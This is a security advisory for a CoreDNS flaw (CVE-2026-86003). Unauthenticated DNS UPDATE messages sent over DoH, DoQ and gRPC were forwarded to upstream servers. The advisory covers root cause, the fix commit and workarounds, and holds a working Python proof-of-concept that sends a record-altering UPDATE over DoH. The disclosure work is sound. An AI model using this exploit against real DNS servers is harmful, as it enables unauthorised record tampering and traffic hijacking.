high · 7.5CVE-2026-86003Sep 17, 2026

CVE-2026-86003: CoreDNS Confused Deputy via RFC 2136 UPDATE over DoH/DoQ/gRPC

Rohit Hatagale
AI Security Researcher, SecureLayer7

CoreDNS accepted DNS UPDATE messages over its encrypted transports (DoH, DoH3, DoQ, gRPC) and silently forwarded them to upstream servers, letting an unauthenticated attacker manipulate DNS records…

Packagegithub.com/coredns/coredns
Ecosystemgo
Affected<= 1.14.6
Fixed in1.14.7

The problem

CoreDNS 1.14.6 and earlier applied opcode validation only on UDP, TCP, and DoT listeners. The DoH, DoH3, DoQ, and gRPC listeners called dns.Msg.Unpack directly, skipping the dns.DefaultMsgAcceptFunc policy that blocks everything except QUERY and NOTIFY.

The forward and proxy plugins then relayed the raw UPDATE message to the configured upstream unchanged. If that upstream trusted CoreDNS's source address or connection without requiring end-to-end TSIG, an unauthenticated client could add, replace, or delete DNS records.

Proof of concept

A working proof-of-concept for CVE-2026-86003 in github.com/coredns/coredns, with the exact payload below.

python
#!/usr/bin/env python3
# Send a bare RFC 2136 UPDATE (opcode 5) over DoH to a vulnerable CoreDNS instance.
# CoreDNS <= 1.14.6 forwards it to the upstream; 1.14.7+ returns HTTP 400.
#
# Usage: python3 poc.py --host 127.0.0.1 --port 8053

import http.client, socket, ssl, struct

OPCODE_UPDATE = 5
TYPE_A, CLASS_IN = 1, 1

def encode_name(name):
    return b"".join(
        bytes((len(l),)) + l.encode()
        for l in name.rstrip(".").split(".")
    ) + b"\x00"

def update_message():
    zone   = encode_name("example.com.") + struct.pack("!HH", 6, CLASS_IN)
    update = (
        encode_name("foo.example.com.")
        + struct.pack("!HHIH", TYPE_A, CLASS_IN, 300, 4)
        + socket.inet_aton("192.0.2.123")
    )
    # Flags: QR=0, Opcode=5 (UPDATE), all counts per RFC 2136
    header = struct.pack("!HHHHHH", 0x1234, OPCODE_UPDATE << 11, 1, 0, 1, 0)
    return header + zone + update

def send_doh(host, port, payload, timeout=5):
    ctx = ssl._create_unverified_context()
    conn = http.client.HTTPSConnection(host, port, timeout=timeout, context=ctx)
    conn.request(
        "POST", "/dns-query", body=payload,
        headers={"Content-Type": "application/dns-message"},
    )
    r = conn.getresponse()
    print(f"HTTP {r.status}  body_bytes={len(r.read())}")
    if r.status == 200:
        print("[VULNERABLE] CoreDNS accepted the UPDATE and forwarded it upstream.")
    else:
        print("[PATCHED]    CoreDNS rejected the UPDATE (expected 400 on 1.14.7+).")
    conn.close()

if __name__ == "__main__":
    import argparse
    p = argparse.ArgumentParser()
    p.add_argument("--host", default="127.0.0.1")
    p.add_argument("--port", type=int, default=8053)
    a = p.parse_args()
    send_doh(a.host, a.port, update_message())

The root cause is a missing opcode gate before message dispatch on encrypted transports. dns.DefaultMsgAcceptFunc (from miekg/dns) inspects only the 2-byte fixed header and returns MsgIgnore for any opcode other than QUERY (0) or NOTIFY (4). UDP and TCP called this function; DoH/DoQ/gRPC did not.

The fix (commit 530b0a5) introduces dnsutil.UnpackRequest in plugin/pkg/dnsutil/message.go. It runs DefaultMsgAcceptFunc on the raw bytes first, returns REFUSED if the opcode is rejected, and only then calls dns.Msg.Unpack. Every affected transport now calls this wrapper instead of calling Unpack directly.

CWE-441 (Confused Deputy): CoreDNS acted as a trusted intermediary and laundered the attacker's UPDATE as its own request.

The fix

Upgrade CoreDNS to 1.14.7. The patch (commit 530b0a5ff2ad68cc0421f10dd93568945cc671c9) adds dnsutil.UnpackRequest and applies it uniformly to all four affected transports. As a short-term workaround, block access to DoH/DoH3/DoQ/gRPC listener ports from untrusted networks, and require end-to-end TSIG on any update-capable upstream regardless of transport.

Reporter not attributed.

References: [1][2][3][4][5]

Related research